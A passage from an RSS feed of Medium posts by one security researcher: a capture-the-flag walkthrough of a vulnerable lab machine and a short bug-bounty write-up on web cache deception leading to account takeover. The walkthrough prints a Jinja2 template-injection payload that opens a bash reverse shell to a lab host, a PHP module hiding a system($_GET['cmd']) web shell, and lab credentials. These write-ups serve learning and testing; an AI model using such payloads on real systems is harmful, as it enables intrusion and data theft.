href="https://bootstrapmade.com/green-free-one-page-bootstrap-template/">https://bootstrapmade.com/green-free-one-page-bootstrap-template/</a><br> Author: BootstrapMade<br> Author URL: <a href="https://bootstrapmade.com/">https://bootstrapmade.com</a><br> ======================================================= → ” , so this is important to have in note !. started to open the links but they all seems to redirect me to the same page, so I opened the team one and it’s names with Ms.Bean pics:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*u22soVxpiqdDr36-F8TxhA.png" /></figure><p>maybe the users, so I made an impressive list and continued my enumeration. Then I opened LOGIN page and fired up Burpsuite to see request parameters , until now no attack scenario was in my mind so I started to dig further and open LIVE DEMO and GET NOW, there was parameters in the url , like LIVE+DEMO=, run multiple LFI,RFI payloads but nothing worked, here I started my “automatic gun” testing:</p><h3><strong>FootHold:</strong></h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/1*FPn5LFQNfV9955LoRkYKTw.png" /></figure><p>I modified one of wfuzz’s wordlists added other payloads and with Burp’s intruder I can test by a several amount of payloads, “don’t try this at what ever thing you shouldn’t broke” so I started my testing and followed the output I sow this error:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/953/1*jE-0SAQVB8yjzCN6Hj3ouw.png" /></figure><p>I was happy to find a different error :), so it is SSTI “Server Side Template Injection” for more information <a href="https://portswigger.net/research/server-side-template-injection"><strong><em>SSTI_PORTSWIGGER</em></strong></a><strong><em>.</em></strong></p><p>so first of all I wanted to identify which type of SSTI is it, at this link you will find a great description about SSTI types and how to exploit it <a href="https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection">https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection ,</a> basically I did the test and it is Jinja2 SSTI . so now to the exploitation of SSTI to get a shell, this is the modified payload:</p><p><strong><em>{{‘’.__class__.mro()[1].__subclasses__()[111](“bash -c ‘bash -i &gt;&amp; /dev/tcp/192.168.116.132/4444 0&gt;&amp;1’”,shell=True,stdout=-1).communicate()[0].strip()}}</em></strong></p><p>but we need the sub_process index of bash application so I thought of passing this to the intruder with numbers as payloads, now with url encoding:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/964/1*If7pD5IBQ5rnJMNfXVwtmg.png" /></figure><p>and I got shell at 373, that’s our subprocess index then:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*3DjaeTDCk7Os23YUDT4Ixg.png" /></figure><p>so now enumeration!, in srv/flask_app I found a python app, uwsgi.ini and nginx.conf, what I think of is to see that uwsgi’s version, because I exploited an old one before.</p><p>www-data@TF3:/tmp$ uwsgi — version<br>uwsgi — version<br>2.0.17.1</p><p>for this version only LFI, Directory traversal, I read the app file and it contains:</p><blockquote><strong><em>from flask import Flask, render_template<br>import flask, flask_login<br>from urllib.parse import unquote<br>from pysqlcipher3 import dbapi2 as sqlcipher</em></strong></blockquote><blockquote><strong><em>app = Flask(__name__)<br>app.secret_key = ‘RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9’</em></strong></blockquote><blockquote><strong><em>pra = “pragma key=’SecretssecretsSecrets…’”</em></strong></blockquote><blockquote><strong><em>try:<br> with app.open_resource(‘static/file/f’) as f:<br> contents = f.read().decode(“utf-8”)<br>except:<br> contents = “”</em></strong></blockquote><blockquote><strong><em>def check(username):<br> con = sqlcipher.connect(“static/db2.db”)<br> con.execute(pra)<br> userexists = False<br> with con:<br> cur = con.cursor()<br> cur.execute(“SELECT * FROM Users”)<br> rows = cur.fetchall()<br> for row in rows:<br> uname = row[0]</em></strong></blockquote><p>this app is beautiful, it contains a treasure, so at this point I know that there is a db named “<strong>db2.db</strong>” that contains users table and has a secret key. taking the encoded string “<strong><em>app.secret_key = ‘RmxhZzF7IEltcG9ydGFudCBmaW5kaW5ncyB9’</em></strong>” I got a flag:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/775/1*9hPto0mGfip3wqTuUy7CfA.png" /></figure><p>my first approach is to get help from that sqlcipher, so just wrote sqlcipher did the trick, I sow that there is interactive mode. after some syntax errors and miss typing of the key I got to db:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/780/1*qoGsQP9WLEmqfz6aBb63Dg.png" /></figure><p>then I found the users with plain text passwords and an encoded string:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*nnEs1nBIZzG9IOWUEyZkzA.png" /></figure><p>then I entered this login creds in the web page, all I got was numbers, maybe port numbers, they are all the same 41379 I continued my enumeration and the shell is very limited no wget no nc nothing really helping here,I tried to see what apps in /bin &amp; /usr/bun , nothing helping this is old school and I liked it, at this point I stopped and the encoded string is the flag number 3:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/733/1*MOb91A73igVYhfkRahhIBA.png" /></figure><h3>Pivoting:</h3><p>I doubt that I missed something, what I missed containing flag 2, or it’s just the developer want us to rethink here !, I thought about network based scenarios like Tempus Fugit:1 , and obviously I have nothing here , so I a simple ping sweep from RTFM to discover the network and I found three networks, but this is the only one containing 2 ip addresses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*HrvPQEn5Krq4gvXb9VVf2g.png" /></figure><p>then I ran another bash command to discover ports of those ip addresses:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/975/1*Q7nBRYx5atUwg58O-DSn9g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*blF9euV7ak8aPz5-Ha0h2g.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5v6E8az44rTcBA1nsOhSSA.png" /></figure><p>so this is our findings for both ip addresses, at first I thought 192.168.100.1 would be USELESS as it maybe the gateway, but you can see there is 443 opened, so now I know I should do port forwarding to see what’s in those pages, fast thought in my head was ssh, but I know it wouldn’t be organized I need to forward all my ports in one place, my second choice is metasploit built-in port forwarding module, I created a raw shell execute it, and finally I got that port forward done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/556/1*FNEcGlJznaHKqcw-ZWsXBw.png" /></figure><p>then I opened the browser, port 80, on 192.168.100.100 is the template page it self, also port 80 on 192.168.100.1 is running the same template as well then moved on to port 443 in 192.168.100.1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IQ8p6xFyM1WEiGptcJboOA.png" /></figure><p>this is basically a page I sow the words to the users “Huge-Janus supervision” so that is a point, I found an admin page, then as obvious I tried the credentials I found earlier , none of them worked!!, <strong><em>even you Torres</em></strong> !! at this point I was confused, as a weak trial I tried password reuse with admin user and boom! I am in the admin panel with the password “<strong><em>S0secretPassW0rd</em></strong>”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Fqds-fg-5jQi_9DXmBr9xA.png" /></figure><p>turns out it is a CMS called proccessWire, in the modules tab there is an upload functionality:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/932/1*FK2NbjoJCnqvRFX6vE_y3Q.jpeg" /></figure><p>at this point I stopped, will continue tomorrow.</p><p>going back:</p><p>I couldn’t upload anything, what a struggle! no lazy way worked in this machine , we can only upload ZIP files which carry the modules code, the app didn’t accept any customized code from my side, after some time uploading bad modules I edited the module HelloWorld.zip with:</p><pre>   // Thiast example displays a special hello message when the user is editing<br>    // the homepage only.<br>    $this-&gt;addHookBefore(&#39;ProcessPageEdit::execute&#39;, function($event) {<br>      $page = $event-&gt;object-&gt;getPage(); // getPage() is a method in ProcessPageEdit<br>      if($page-&gt;id == 1) {<br>        // user is editing the homepage<br>        $event-&gt;message(&quot;Hello {$event-&gt;user-&gt;name} - You are editing the homepage!&quot;);<br>      } else {<br>        system($_GET[&#39;cmd&#39;]);<br>      }<br>    });</pre><p>so after uplaoding the zip file I editted 404 default page on pages tab, add cmd parameter to get Command execution:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4ZivCiKduTsZDUATVlWr0g.jpeg" /></figure><p>the web app has an annoying WAF which prevented me from executing any shell so I needed a bypass:</p><p>I found a bypass after quite a bit:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WvZ34F8I0QEUVLPZEHJOew.jpeg" /></figure><h3>Privilege Escalation:</h3><p>now let me enumerate inside:</p><p>this machine has too many users:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/671/1*xeh3gFyDBZNWkazv8jM7dg.jpeg" /></figure><p>I regularly use linpease but first I do enumerate manually , the command ls -R /var handed me goldmine :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/161/1*8M0-uHiUWXKXWUBqFXc_wA.jpeg" /></figure><p>there was a png image in /var/backup file with one of the users name it got my attention right away:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/682/1*XpRhr26sK2JqS_y7tUeqIg.jpeg" /></figure><p>the image is basically a QR code:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*OkfWWNPiNcnfxyLAkeQb3Q.jpeg" /></figure><p>I scanned it and the result was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/712/1*IN_poyh7phYmD16ykX0U4A.png" /></figure><p>reading the QR code through Microsoft authenticator then using the other port which turned out to be dynamic at my case was 40973 then login in directly throught jsu the OTP provided my the authenticater app:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/777/1*X2Y7rMUaWpXBhVIdY3whwA.jpeg" /></figure><p>4th flag xx):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*JgIGyEALyoN8R4FSowH43g.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/785/1*Ht3VyLaBcPm0ifhGJQFFSg.jpeg" /></figure><p>haha, nice one.</p><p>enumerating further I found that ellington user has the privilage of an app called addcustomer in which is located under root directory:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*QrV6r4j2LTXbqNJ44_HW7Q.jpeg" /></figure><p>I didn’t get anywhere with the addcustomer app, so I completed the enumeration and kept it in mind, I stumbuled upon a strange filename with a clear hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/863/1*TcFBZWc7t72Py0W4Po0Ytw.jpeg" /></figure><p>three dots and the owner is 1337? , but wait there is no such a user in the system as 1337 ? , let’s create a user with the id 1337 to access this file:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/578/1*7p_LuePJqaoJe0UuwcBbWA.jpeg" /></figure><p>this machine is crazy, the file it self is a private ssh key:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/861/1*av8DfgpSvQUrFSutwuleiA.jpeg" /></figure><p>but man, which user I supposed to login ? , at this point I stopped for a while took a 10 mins break.</p><p>going back enumerating again as it seems like I am missing something I found that ping is one of my permissive suids:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/586/1*s_062yj4fMgrsiRCloAHJg.jpeg" /></figure><p>for about 2 hours of trying to escalate my privileges with ping the lazy way “<a href="https://gtfobins.github.io/gtfobins/ldconfig/"><strong>GTFOBins</strong></a>” I decided to do strings command maybe there is some hint:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/407/1*Kw69zI6k6COS2BnPIXefhA.jpeg" /></figure><p>I don’t do much reversing but the string is obvious so downloaded and opened the file in ghidra then searched for the word <strong>enjoy</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hk8S-xfEfXsa5eBIHXT5tA.jpeg" /></figure><p>checking the code, this part got me straight:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/647/1*yCdjZSVppKmF5QgfsT7yFQ.jpeg" /></figure><p>so if the magic word “<strong>0xdeadbeef</strong>” is attached to those variables I will “enjoy my root shell” let’s see the variables:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*nZOJdYpqtNxnynkXtubURQ.jpeg" /></figure><p>this means user id executing ping command with the magic word 0xdeadbeef is “<strong>1010</strong>&quot;, who has that id:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/987/1*yD3SlhmLchctP4cs84vm1g.jpeg" /></figure><p>justine is our guy, since I already have a private key let’s try login in:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/676/1*wTHlmslnCzyrcy4lL5Dc5Q.jpeg" /></figure><p>now let’s directly execute ping command with deadbeef magic word:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/711/1*5arlnMJUQ2FGBE5A8KicNg.jpeg" /></figure><p>now let’s enjoy our root-shell xxx), finally :</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/902/1*HP5lqrebRKT4uIBRzF5HMA.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/717/1*zL-enJIKdxqXBthpFco2gQ.jpeg" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*ibcsrMelIrfnqpxKNv5aZw.jpeg" /></figure><p>this machine is great fun one entertaining headache, I really enjoyed it and learned too much.</p><p>if you like what you just read connect on <a href="https://www.linkedin.com/in/mustafa-mohamed-b4a32b131/">Linkedin</a>, follow on <a href="https://github.com/d3sca">Github</a> &amp; <a href="https://x.com/@cybersec212">twitter </a>.</p><p>Thank you for reading :)</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=1802e943c421" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Web Cache Deception in a 404 Not Found Page resulted in an Account Takeover]]></title>
            <link>https://d3sca.medium.com/how-i-exploited-web-cache-deception-in-a-404-not-found-page-to-get-an-account-takeover-0bfede60fe8e?source=rss-7f820c901b07------2</link>
            <guid isPermaLink="false">https://medium.com/p/0bfede60fe8e</guid>
            <dc:creator><![CDATA[Mustafa Mohamed (d3sca)]]></dc:creator>
            <pubDate>Sun, 18 Feb 2024 08:06:25 GMT</pubDate>
            <atom:updated>2024-02-22T05:42:53.449Z</atom:updated>
            <content:encoded><![CDATA[<p>السلام عليكم</p><p>Let’s talk about what is web cache in the first place, in the modern applications websites built with a huge amount of js,css,images files which will take a lot of time to load causing customers painful experience</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/743/1*OCBjNFKHYXC5cZrYfnR2dQ.jpeg" /></figure><p>In modern web applications, caching static files like CSS, JavaScript, and images is common practice, in which enhances customer experience, but increasing functionality means weakening security.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/250/1*oHjMkS4BHNdeZ3MyswI1tQ.jpeg" /></figure><p>## How hacker exploit this:</p><p>If mistakenly dev team cached a dynamic page that contains sensitive data like tokens, uuid, email or something related to the user’s session, all of it can be found in /profile response so to organize the attack:</p><ul><li>attacker crafts a dedicated file path https://example.com/profile.kk.js</li><li>attacker distributes the link (either directly to a victim or publicly).</li><li>Victim visits the legitimate link.</li><li>Response is cached</li><li>Attacker get sensitive data.</li></ul><p>as simple as this description what did I found was the JWT token and other info like my customer’s ip address (victim) ,user-id , user’s email and other information reflected in 404 error page.</p><p>What if I accessed any static file which will be cached and try Web cache deception?</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/960/1*Cv9wjG8-I1Xgq2GEpwSvTA.jpeg" /></figure><p>the link was something like:</p><p>/_next/data/Ssksdfjknsjdj/c.js</p><p>my dedicated path file was:</p><p>/_next/data/Ssksdfjknsjdj/c.js/nonexistance.js</p><p>the 404 Not Found response came with a lot of sensitive data:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*07MhBwOPct-t_oBjcY2Y4Q.png" /><figcaption>sensitive data</figcaption></figure><p>I covered almost everything because everything is sensitive, viewing the source of a victim-clicked cache-able dedicated page with unloggedin user revealed token, cookie, user-id, email, customer location, ip and many other information.</p><p>## Takeaways:</p><ol><li>cache deception is still out there in the wild</li><li>always take a good look at the response</li><li>404 response is a goldmine sometimes</li></ol><p>## references:</p><ul><li><a href="http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html">http://omergil.blogspot.com/2017/02/web-cache-deception-attack.html</a></li><li><a href="https://book.hacktricks.xyz/pentesting-web/cache-deception">https://book.hacktricks.xyz/pentesting-web/cache-deception</a></li><li><a href="https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online">https://portswigger.net/daily-swig/path-confusion-web-cache-deception-threatens-user-information-online</a></li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0bfede60fe8e" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>